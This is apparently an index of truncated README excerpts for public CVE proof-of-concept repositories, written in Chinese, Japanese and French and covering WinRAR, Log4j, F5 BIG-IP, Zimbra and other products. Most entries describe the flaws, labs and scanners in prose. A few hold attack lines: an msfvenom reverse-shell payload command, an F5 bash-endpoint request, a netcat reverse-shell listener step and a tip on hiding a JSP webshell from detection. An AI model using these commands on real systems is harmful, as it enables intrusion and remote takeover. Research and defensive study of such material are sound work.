cve-2017-12149-playground

许多关键行业（银行业、医疗保健和制造业）仍然依赖专为 JBoss 5 或 6 运行而构建的遗留中间件。由于这些应用程序往往过于脆弱，无法迁移到 WildFly（JBoss 的继任者）的现代版本，组织选择将其"物理隔离"（air-gap）或隐藏在 VPN 之后，而不是对它们进行修补。当这些边界防御失效时，漏洞仍然存在——活跃且未修补。 JBoss AS 6.1.0 漏洞研究实验室 本仓库提供了一个容器化的 JBoss Application Server 6.1.0 环境，专门为安全研究和漏洞验证而配置。其设计目的是演示 Java 反序列化和 JBoss Seam EL 注入漏洞。 快速开...

Roundcube-1.6.10-Post-Auth-RCE-CVE-2025-49113-

🚨 漏洞报告：Roundcube Webmail 中的 CVE-2025-49113 ⚠️ 重要提醒 — 负责任使用 本材料仅供教育和研究目的使用。 严格禁止将此处描述的信息和工具用于任何非法或恶意 活动。 作者对滥用此内容不承担任何责任 。 本仓库包含关于 CVE-2025-49113 漏洞的详细报告，这是一个由于 PHP 对象反序列化导致的关键远程代码执行（RCE）缺陷，影响 Roundcube Webmail 直至 1.6.10 的版本。 本项目的目的是作为教育和研究资源，演示如何在受控环境中识别和利用该漏洞。 📄 完整文档 要访问有关此漏洞的完整信息，包括服务部署、使用...

CVE-2025-57055

CVE-2025-57055：WonderCMS 3.5.0 中的已认证远程代码执行 漏洞机制 WonderCMS v3.5.0 存在一个已认证远程代码执行（RCE）漏洞。 问题源于应用程序通过 JSON 描述符处理远程主题/模块安装 的方式。当管理员提交引用 ZIP 压缩包的远程 JSON 文件时，其内容会被解压到可通过 Web 访问的目录（例如 /themes/）。如果该 ZIP 包含 PHP 文件，该文件即可通过 Web 访问并可能被执行。 此行为因以下原因引入 RCE 风险： 对 ZIP 内容缺乏验证或清理。 对从远程来源解压的文件类型没有限制。 主题/插件目录可通过 Web 访...

CVE-2026-34156-NocoBase-Sandbox-Escape-via-Workflow-Execution-Vulnerability-

CVE-2026-34156 – Évasion de sandbox NocoBase RCE -orange Exécution de code à distance authentifiée dans les versions de NocoBase ≤ 2.0.26 via une évasion de la sandbox du workflow. 📋 Description CVE-2026-34156 est une vulnérabilité d'évasion de sandbox dans le moteur de workflow de NocoBase. Un...

Zimbra-CVE-2022-30333

Zimbra-CVE-2022-30333 Zimbra の unrar 脆弱性。現在すでに POC が公開されているため、当方の POC を公開しても安全です。 CVE-2022-30333 Zimbra UNRAR の脆弱性。V 6.11 までの Unrar が脆弱です。.jsp シェルが検出されないようにしてください。このエクスプロイトは、デフォルトパスにインストールされた Zimbra で動作します。 webshell を rootver フォルダに配置してください。既存の shell.jsp ファイルを削除してください。次に rootver フォルダを rar...

CVE-2025-61882

Oracle E-Business Suite RCE スキャナー CVE-2025-61882 Oracle E-Business Suite インストール環境における CVE-2025-61882 を検出するための、高速でマルチスレッド対応の一括スキャナーです。この重大な脆弱性により、認証なしのリモートコード実行が可能になります。 🎯 特徴 一括スキャン - ファイルから数百〜数千のターゲットを処理 マルチスレッド - 同時スキャン数を設定可能（デフォルト: 20スレッド） 自動検出 - id コマンドを実行し、出力を解析して RCE を検証 リアルタイム結果 -...

CVE-2024-22514-Remote-Code-Execution

CVE-2024-22514: Agent DVR 中的远程代码执行 信息 描述 iSpyConnect.com Agent DVR 5.1.6.0 包含一个漏洞，该漏洞允许重定向由警报命令触发的文件。这种修改可使命令功能在程序权限上下文（默认为 root）下触发系统上的任意文件。实现方式为编辑 objects.xml 备份文件中的 EXE 参数路径，以创建经过修改的 objects.xml 文件，随后可通过控制面板将该文件恢复。恢复后的控制面板将保留写入 objects.xml 文件中的新路径，之后可通过警报命令触发该路径。 附加信息 此攻击可与我将提交的另一个 CVE 进行链式利用，...

CVE-2021-22006

CVE-2021-22005 - VMWare vCenter Server 文件上传到 RCE 分析 用法 root@kitploit: ------------------------------------------------------------- CVE-2021-22005 - VMWare vCenter Server File Upload to RCE Github: https://github.com/r0ckysec Twitter: https://twitter.com/r0cky6861636b Author: r0cky...

CVE-2020-6287_RECON-scanner

用于 CVE-2020-6287 RECON 的漏洞评估与失陷指标 IoC 扫描器 RECON（NetWeaver 上的远程可利用代码，Remotely Exploitable Code On NetWeaver）是一个严重影响众多基于 SAP NetWeaver Java 技术栈运行的 SAP 业务和技术应用程序的关键（CVSSv3 10）漏洞。该漏洞由 Onapsis 研究实验室发现，并与 SAP 密切合作，于 2020 年 7 月 14 日开发并发布了补丁。鉴于该问题的严重性，美国 DHS CISA、BSI CERT-Bund 以及其他多个政府机构发布了警报，敦促 SAP...

CVE-2021-21300

CVE-2021-21300：通过恶意 Git 钩子执行任意代码 📌 摘要 CVE-2021-21300 是 Git（2.14.2 至 2.30.1 版本）中的一个严重漏洞，允许攻击者通过利用符号链接和不区分大小写的文件系统在受害者机器上执行任意代码。 🧠 问题描述 漏洞 ：通过恶意 Git 钩子执行任意代码。 根本原因 ：不区分大小写的文件系统（例如 Windows/macOS）将 A/post-checkout 解析为 .git/hooks/post-checkout。 影响 ：当用户克隆受感染的仓库时，攻击者可以注入并执行恶意钩子。 🔍 理论背景 原理 Git 允许用户自定义钩子存...

CVE-2018-20250

设置 视频演示：https://youtu.be/5tuWsi1tGS0 VirtualBox 虚拟机：https://j2c.cc/virtualbox-machine Winrar 5.5 32bit：https://j2c.cc/winrar-550-32bit 操作步骤 Kali： root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows： root@kitploit: git clone...

CVE-2026-37637

CVE-2026-37637 CVE-2026-37637 の概念実証 - Alexantr filemanager v1.0 における filemanager.php の無制限ファイルアップロードによるリモートコード実行 概要 CVE-2026-37637 は、Alexantr filemanager v1.0 に影響を与えるリモートコード実行の脆弱性です。 この脆弱性は filemanager.php コンポーネントに存在し、アップロードされたファイルの検証が不十分であることが原因です。リモートの攻撃者は、悪意のある PHP ファイルを Web...

cve-2022-22947

Spring Cloud Gateway Actuator API SpELコードインジェクション CVE-2022-22947 ビルド root@kitploit: $ git clone https://github.com/twseptian/cve-2022-22947.git $ cd cve-2022-22947 $ docker build . -t cve-2022-22947 $ docker run -p 9000:9000 --name cve-2022-22947 cve-2022-22947 PoC...

LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320

🧠 LetsDefend SharePoint 零日分析（ToolShell - SOC342-CVE-2025-53770） 📘 引言 我在 LetsDefend 网络实验室中调查了一个名为 ToolShell（CVE-2025-53770） 的 SharePoint 零日漏洞。 该演练模拟了一次真实世界的零日 RCE 攻击 ：恶意 POST 请求绕过身份验证，执行 PowerShell 窃取 MachineKeySection 密钥，编译 payload.exe，并植入恶意 Web Shell（spinstall0.aspx）。 本 README 记录了攻击过程、取证步骤、遏制措施...

CVE-2021-40531

CVE-2021-40531 この概念実証の動作の様子。 Sketch はmacOS向けのUI/UXデザインアプリとして人気があります。この記事では、私が7月に発見したSketchの脆弱性CVE-2021-40531について説明します。最も単純な形では、これはmacOSの検疫バイパスですが、コンテキストによってはリモートコード実行に使用される可能性があります。 詳細については、私のブログ記事で完全な解説を参照してください。 注意事項 この概念実証をローカルでテストする場合、feed.rss はウェブサーバーがポート8080で実行されていることを想定していることに注意してください。...

CVE-2024-11613-wp-file-upload

CVE-2024-11613-wp-file-upload Chirag Artani（https://3rag.com）によるCVE-2024-11613（WordPress File Upload）のエクスプロイト 情報はこちら - WordPress用WordPress File...

CVE-2021-44228-demo

log4j-shell-poc 针对近期发现的 CVE-2021-44228 漏洞的概念验证。 最近，log4j 中发现了一个新漏洞。log4j 是一个 Java 日志库，广泛应用于 elasticsearch、minecraft 等众多软件中。 本仓库中包含一个存在漏洞的示例应用程序及其概念验证（POC）利用程序。 概念验证 POC 作为一个 PoC，仓库中有一个可自动完成此过程的 Python 文件。 要求： root@kitploit: pip install -r requirements.txt 用法： 启动一个 netcat 监听器以接受反向 shell 连接。...

CVE-2023-38831

CVE-2023-38831 - RARLAB WinRAR 代码执行漏洞 ⚠️ 仅供教育和授权安全研究使用 原始漏洞利用作者 非常感谢原始 PoC 作者 b1tg 和 Group-IB Threat Intelligence 描述 RARLabs WinRAR 6.23 之前的版本允许攻击者在用户尝试查看 ZIP 压缩包中的良性文件时执行任意代码。 问题成因在于：ZIP 压缩包可能包含一个良性文件（例如普通的 .JPG 文件），同时还有一个与该良性文件同名的文件夹；当用户仅尝试访问该良性文件时，文件夹中的内容（可能包含可执行内容）也会被处理。该漏洞已在 2023 年 4 月至 8...

CVE-2022-46169

CVE-2022-46169 - Cacti 中的未认证远程代码执行 Cacti 是什么？其漏洞是什么？ Cacti 是一款用 PHP、MySQL/MariaDB 编写的开源运维监控工具，提供了友好的界面。 该漏洞于 2022 年被发现，影响 1.2.23 之前的所有版本。此漏洞需要将身份验证绕过与命令注入链接起来，才能实现 RCE（远程代码执行）。 实验环境搭建 在这篇 CVE 分析中，我将在 Docker 中运行 Cacti，并使用 VSCode 进行代码分析。环境搭建非常简单，首先我们需要一个 docker-compose.yaml 文件来创建新环境。下面是...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 F5 BIG-IP iControl REST 认证绕过 RCE。 root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd, X-Forwarded-Server, X-Forwarded-Host...